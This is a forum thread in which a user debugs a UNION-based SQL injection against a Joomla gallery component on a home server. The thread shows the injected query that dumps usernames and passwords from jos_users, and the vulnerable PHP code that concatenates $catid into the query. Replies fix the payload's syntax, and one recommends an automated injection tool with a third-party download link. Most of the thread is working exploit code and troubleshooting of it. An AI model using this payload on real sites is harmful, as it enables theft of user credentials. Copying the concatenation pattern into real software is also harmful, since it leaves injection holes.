xeyougallery SQL injection

[ayu]

Experimenting with an SQL injection on my home server.
And I need extra eyes to find the error, because I can't seem to figure out why it's giving me an error.


I printed out the errors and query on the page so that I could debug it.
Notice the "#_", I'm pretty sure that's for the db prefix.

Code: Select all

SELECT d.* FROM #__xeyougallery_catg AS d WHERE d.parent=1 UNION SELECT id,username,1,password,1,0,1 FROM jos_users -- and d.published=1 ORDER BY d.ordering

I got this error

Error: Unknown column 'd.ordering' in 'order clause'

Which makes me believe that it ignores the comment for some reason (comments shut off?).

I tried to add a "AS d.ordering", but that didn't work either.
I also tried to union with the original query just to see if I can produce the same rows again and "merge" with the rest of the query, but nothing.

Code: Select all

SELECT d.* FROM #__xeyougallery_catg AS d WHERE d.parent=1 UNION SELECT d.* FROM jos_xeyougallery_catg AS d and d.published=1 ORDER BY d.ordering

Produces

Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'and d.published=1 ORDER BY d.ordering' at line 3

And now I'm too tired to work on it further tonight, so I thought id just leave it here and see if anyone has an idea until I wake up tomorrow ^^

Note: The query like this works in the mysql prompt (Because here the comment is interpreted as it should)

Code: Select all

SELECT d.* FROM jos_xeyougallery_catg AS d WHERE d.parent=1 UNION SELECT id,username,1,password,1,0,1 FROM jos_users -- and d.published=1 ORDER BY d.ordering

This is the code snippet where the query is generated and used...

Code: Select all

$database->setQuery("SELECT d.*" . "\n FROM #__xeyougallery_catg AS d" . "\n WHERE d.parent=$catid and d.published=1 \n"
                    . "\n ORDER BY d.ordering");
            $rows=$database->loadObjectList();
            $num_rows=ceil( count( $rows ) / 4 );
            $index=0;

Note: The new row in the SQL query is suspicious so I think it might have something to do with that when I'm adding the comment, since the comment comments out one line only, and the new line makes it miss that line.

oh well, I will have to think about this over night.
If anyone sees my error, then I would appreciate a pointer

[leetnigga]

Code: Select all

SELECT d.* FROM #__xeyougallery_catg AS d WHERE d.parent=1 UNION SELECT d.* FROM jos_xeyougallery_catg AS d and d.published=1 ORDER BY d.ordering

Produces

Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'and d.published=1 ORDER BY d.ordering' at line 3

That 'and' should be a WHERE.

That's all I got

[ayu]

ah yeah sorry forgot to remove that when I copy/pasted
but yeah I fixed that as well.

[hpprinter100]

have u tested it with sqli helper? i know its a tool and u like to do things manually but it give u the exploitable url after its done its automated attack.


sqli helper is in the link (from authors site so shud be clean)

Code: Select all

http://reiluke.i.ph/blogs/reiluke/2009/02/12/reiluke-tools-download-link/